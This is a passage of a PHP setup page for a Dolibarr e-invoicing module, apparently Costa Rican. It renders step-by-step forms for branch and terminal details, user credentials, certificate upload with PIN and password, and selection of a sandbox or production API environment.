		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Register").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 3) ) { //STEP 4
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step4Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step4Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactidnumeroSucursal").'</td>';
		echo '<td align="left"><input type="text" name="crfactidnumeroSucursal" size="50" class="flat" value="001"  ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactnombreSucursal").'</td>';
		echo '<td align="left"><input type="text" name="crfactnombreSucursal" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SOCIETE_ADDRESS.'" disabled ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactnumeroTerminal").'</td>';
		echo '<td align="left"><input type="text" name="crfactnumeroTerminal" size="50" class="flat" value="001"  ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactnombreTerminal").'</td>';
		echo '<td align="left"><input type="text" name="crfactnombreTerminal" size="50" class="flat" value="'.$conf->global->MAIN_INFO_SOCIETE_ADDRESS.'" disabled ></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Register").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 4) ) { //STEP 5
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step5Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step5Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactfullName").'</td>';
		echo '<td align="left"><input type="text" name="crfactfullName" size="50" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactuserName").'</td>';
		echo '<td align="left"><input type="text" name="crfactuserName" size="50" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactemail").'</td>';
		echo '<td align="left"><input type="text" name="crfactemail" size="50" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactpwd").'</td>';
		echo '<td align="left"><input type="password" name="crfactpwd" size="50" class="flat" value="" ></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Register").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 5) ) { //STEP 6
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step6Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\" enctype=\"multipart/form-data\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step6Account\">";
		echo "<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"300000\" />";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactfileToUpload").' </td>';
		echo '<td align="left"><input type="file" name="crfactfileToUpload" accept="application/x-pkcs12" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactclient_id").'</td>';
		echo '<td align="left"><select name="crfactclient_id" >';
		echo '<option value="api-stag" selected>Sandbox</option> ';
		echo '</select></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactpin").'</td>';
		echo '<td align="left"><input type="text" name="crfactpin" size="9" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactucertserName").'</td>';
		echo '<td align="left"><input type="text" name="crfactucertserName" size="50" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactcertpwd").'</td>';
		echo '<td align="left"><input type="password" name="crfactcertpwd" size="50" class="flat" value="" ></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Upload").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 6) ) { //STEP 7
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step7Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\" enctype=\"multipart/form-data\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step7Account\">";
		echo "<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"300000\" />";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactclient_id").'</td>';
		echo '<td align="left"><select name="crfactclient_id" >';
		echo '<option value="api-prod" selected>Produccion</option>';
		echo '</select></td>';
		echo '</tr>';

		echo '<td>'.$langs->trans("crfactfileToUpload").' </td>';
		echo '<td align="left"><input type="file" name="crfactfileToUpload" accept="application/x-pkcs12" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";

		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactpin").'</td>';
		echo '<td align="left"><input type="text" name="crfactpin" size="9" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactucertserName").'</td>';
		echo '<td align="left"><input type="text" name="crfactucertserName" size="50" class="flat" value="" ></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		$var=!$var;
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactcertpwd").'</td>';
		echo '<td align="left"><input type="password" name="crfactcertpwd" size="50" class="flat" value="" ></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Upload").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';

		echo '</form>';
		echo '<tr class="liste_titre">';
		echo "  <td><strong>".$msg."</strong></td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 7) ) { //STEP 8
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo "  <td>".$langs->trans("Step8Account")."</td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\" enctype=\"multipart/form-data\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step8Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td>'.$langs->trans("crfactclient_id").'</td>';
		echo '<td align="left"><select name="crfactclient_id" >';
		echo '<option value="api-stag" selected>Sandbox</option>';
		echo '<option value="api-prod" >Produccion</option>';
		echo '</select></td>';
		echo '<td align="right"><input type="submit" class="button" value="'.$langs->trans("Test").'"></td>';
		echo '<td align="right"></td>';
		echo '</tr>';
		echo '</form>';
		echo '<tr class="liste_titre">';
		echo "  <td><strong>".$msg."</strong></td>\n";
		echo "  <td align=\"left\" ></td>";
		echo "  <td >&nbsp;</td></tr>";
		echo '</table><br><br>';

		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo '<td colspan="2" align="center"><strong>** ESTABLECER AMBIENTE DE TRABAJO ** </strong></td></tr>';
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\" enctype=\"multipart/form-data\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step9Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td colspan="2" align="center">Ambiente actual : <strong>'.$conf->global->CRFACT_ENV.' </strong></td>';
		echo '</tr>';
		echo "<tr ".$bc[$var].">";
		echo '<td align="right">Seleccionar ambiente :</td>';
		echo '<td align="left"><select name="crfactclient_id" >';
		echo '<option value="api-stag" selected>Sandbox</option>';
		echo '<option value="api-prod" >Produccion</option>';
		echo '</select></td></tr>';
		echo "<tr ".$bc[$var].">";
		echo '<td colspan="2" align="center"><input type="submit" class="button" value="Asignar ambiente de trabajo."></td>';
		echo '</tr>';
		echo '</form>';
		echo '<tr class="liste_titre">';
		echo '  <td colspan="2" align="center"><strong>'.$msg.'</strong></td></tr>';
		echo '</table><br><br>';
	}elseif ( isset($conf->global->CRFACT_MASTERKEY ) && ( intval($conf->global->CRFACT_FINISHED_STEP) === 9) ) { //STEP 8

		$sessionKey= $conf->global->CRFACT_MASTERKEY;
		$idUser= $conf->global->CRFACT_MASTERID;
		$userName= $conf->global->CRFACT_USERNAME;

		$crfactparam = array(
			'iam' => $userName,
			'sessionKey' => $sessionKey,
			'idMasterUser' => $idUser,
		);

		$crfacturl = $conf->global->CRFACT_URL;
		$CRFact = new crfact($db);
		$response = $CRFact->Request('facturador','company_get_env',$crfactparam,$crfacturl);

		if ( is_null($response->resp) ){
			$errormsg = $response->resp->status;
		}else{
			$statusapi =  $response->resp[0];
		}
		echo '<table class="noborder" width="100%">';
		echo '<tr class="liste_titre">';
		echo '<td colspan="2" align="center"><strong>** ESTABLECER AMBIENTE DE TRABAJO ** </strong></td></tr>';
		$var=!$var;
		echo "<form method=\"post\" action=\"setup.php\" enctype=\"multipart/form-data\">";
		echo "<input type=\"hidden\" name=\"action\" value=\"Step9Account\">";
		echo "<tr ".$bc[$var].">";
		echo '<td colspan="2" align="center">Ambiente actual del api: <strong>'. $statusapi->env .' </strong></td>';
		echo '</tr>';
		echo "<tr ".$bc[$var].">";
		echo '<td align="right">Seleccionar ambiente :</td>';
		echo '<td align="left"><select name="crfactclient_id" >';
		echo '<option value="api-stag" selected>Sandbox</option>';
		echo '<option value="api-prod" >Produccion</option>';
		echo '</select></td></tr>';
		echo "<tr ".$bc[$var].">";
		echo '<td colspan="2" align="center"><input type="submit" class="button" value="Asignar ambiente de trabajo."></td>';
		echo '</tr>';
		echo '</form>';
		echo '<tr class="liste_titre">';
		echo '  <td colspan="2" align="center"><strong>'.$msg.'</strong></td></tr>';
		echo '</table><br><br>';
	}

$db->close();

// Page end
dol_get_fiche_end();
llxFooter();

?>







Hry